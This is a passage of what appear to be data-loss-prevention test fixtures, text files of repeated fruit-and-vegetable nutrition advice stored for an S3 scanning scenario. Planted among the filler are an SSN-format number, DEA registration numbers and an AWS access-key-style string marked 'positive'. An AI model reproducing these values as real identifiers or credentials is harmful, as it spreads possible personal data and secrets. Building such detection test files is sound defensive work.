nutrients and appeal. 112 | 113 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 114 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 115 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 116 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 117 | Most Australians do not eat enough fruit and vegetables. 118 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 119 | 120 | "dea2": "DEA # BB4053839 | BJ6125341 " 121 | 122 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 123 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 124 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 125 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 126 | Most Australians do not eat enough fruit and vegetables. 127 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 128 | 129 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 130 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 131 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 132 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 133 | Most Australians do not eat enough fruit and vegetables. 134 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 135 | 136 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 137 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 138 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 139 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 140 | Most Australians do not eat enough fruit and vegetables. 141 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 142 | 143 | 144 | 145 | 146 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 147 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 148 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 149 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 150 | Most Australians do not eat enough fruit and vegetables. 151 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 152 | 153 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 154 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 155 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 156 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 157 | Most Australians do not eat enough fruit and vegetables. 158 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 159 | 160 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 161 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 162 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 163 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 164 | Most Australians do not eat enough fruit and vegetables. 165 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 166 | 167 | "positive": { 168 | "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", 169 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 170 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 171 | "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" 172 | } 173 | 174 | 175 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 176 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 177 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 178 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 179 | Most Australians do not eat enough fruit and vegetables. 180 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 181 | 182 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 183 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 184 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 185 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 186 | Most Australians do not eat enough fruit and vegetables. 187 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 188 | 189 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 190 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 191 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 192 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 193 | Most Australians do not eat enough fruit and vegetables. 194 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 195 | 196 | 197 | 198 | 199 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 200 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 201 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 202 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 203 | Most Australians do not eat enough fruit and vegetables. 204 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 205 | 206 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 207 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 208 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 209 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 210 | Most Australians do not eat enough fruit and vegetables. 211 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 212 | 213 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 214 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 215 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 216 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 217 | Most Australians do not eat enough fruit and vegetables. 218 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 219 | 220 | ssn 098-07-3316 Current Time : May 6th 2:50 221 | 222 | 223 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 224 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 225 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 226 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 227 | Most Australians do not eat enough fruit and vegetables. 228 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 229 | 230 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 231 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 232 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 233 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 234 | Most Australians do not eat enough fruit and vegetables. 235 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 236 | 237 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 238 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 239 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 240 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 241 | Most Australians do not eat enough fruit and vegetables. 242 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 243 | -------------------------------------------------------------------------------- /scenarios/scenario_5/infra/s3_files/s3_files/PII_Health_IP_with_multiline.txt.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 4 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 5 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 6 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 7 | Most Australians do not eat enough fruit and vegetables. 8 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 9 | 10 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 11 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 12 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 13 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 14 | Most Australians do not eat enough fruit and vegetables. 15 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 16 | 17 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 18 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 19 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 20 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 21 | Most Australians do not eat enough fruit and vegetables. 22 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 23 | 24 | ssn 098-07-3316 Current Time : May 6th 2:50 25 | 26 | 27 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 28 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 29 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 30 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 31 | Most Australians do not eat enough fruit and vegetables. 32 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 33 | 34 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 35 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 36 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 37 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 38 | Most Australians do not eat enough fruit and vegetables. 39 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 40 | 41 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 42 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 43 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 44 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 45 | Most Australians do not eat enough fruit and vegetables. 46 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 47 | 48 | 49 | 50 | 51 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 52 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 53 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 54 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 55 | Most Australians do not eat enough fruit and vegetables. 56 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 57 | 58 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 59 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 60 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 61 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 62 | Most Australians do not eat enough fruit and vegetables. 63 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 64 | 65 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 66 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 67 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 68 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 69 | Most Australians do not eat enough fruit and vegetables. 70 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 71 | 72 | Health care - DEA BB4053839 | BJ6125341 73 | 74 | 75 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 76 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 77 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 78 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 79 | Most Australians do not eat enough fruit and vegetables. 80 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 81 | 82 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 83 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 84 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 85 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 86 | Most Australians do not eat enough fruit and vegetables. 87 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 88 | 89 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 90 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 91 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 92 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 93 | Most Australians do not eat enough fruit and vegetables. 94 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 95 | 96 | 97 | 98 | 99 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 100 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 101 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 102 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 103 | Most Australians do not eat enough fruit and vegetables. 104 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 105 | 106 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 107 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 108 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 109 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 110 | Most Australians do not eat enough fruit and vegetables. 111 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 112 | 113 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 114 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 115 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 116 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 117 | Most Australians do not eat enough fruit and vegetables. 118 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 119 | 120 | "dea2": "DEA # BB4053839 | BJ6125341 " 121 | 122 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 123 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 124 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 125 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 126 | Most Australians do not eat enough fruit and vegetables. 127 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 128 | 129 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 130 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 131 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 132 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 133 | Most Australians do not eat enough fruit and vegetables. 134 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 135 | 136 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 137 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 138 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 139 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 140 | Most Australians do not eat enough fruit and vegetables. 141 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 142 | 143 | 144 | 145 | 146 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 147 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 148 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 149 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 150 | Most Australians do not eat enough fruit and vegetables. 151 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 152 | 153 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 154 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 155 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 156 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 157 | Most Australians do not eat enough fruit and vegetables. 158 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 159 | 160 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 161 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 162 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 163 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 164 | Most Australians do not eat enough fruit and vegetables. 165 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 166 | 167 | "positive": { 168 | "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", 169 | "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", 170 | "aaki3": "022QF06E7MXBSH9DHM02 Key ID", 171 | "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" 172 | } 173 | 174 | 175 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 176 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 177 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 178 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 179 | Most Australians do not eat enough fruit and vegetables. 180 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 181 | 182 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 183 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 184 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 185 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 186 | Most Australians do not eat enough fruit and vegetables. 187 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 188 | 189 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 190 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 191 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 192 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 193 | Most Australians do not eat enough fruit and vegetables. 194 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 195 | 196 | 197 | 198 | 199 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 200 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 201 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 202 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 203 | Most Australians do not eat enough fruit and vegetables. 204 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 205 | 206 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 207 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 208 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 209 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 210 | Most Australians do not eat enough fruit and vegetables. 211 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 212 | 213 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 214 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 215 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 216 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 217 | Most Australians do not eat enough fruit and vegetables. 218 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 219 | 220 | ssn 098-07-3316 Current Time : May 6th 2:50 221 | 222 | 223 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 224 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 225 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 226 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 227 | Most Australians do not eat enough fruit and vegetables. 228 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 229 | 230 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 231 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 232 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 233 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 234 | Most Australians do not eat enough fruit and vegetables. 235 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 236 | 237 | Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. 238 | There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. 239 | A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. 240 | Eat five kinds of vegetable and two kinds of fruit every day for good health. 241 | Most Australians do not eat enough fruit and vegetables. 242 | When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. 243 | --------------------------------------------------------------------------------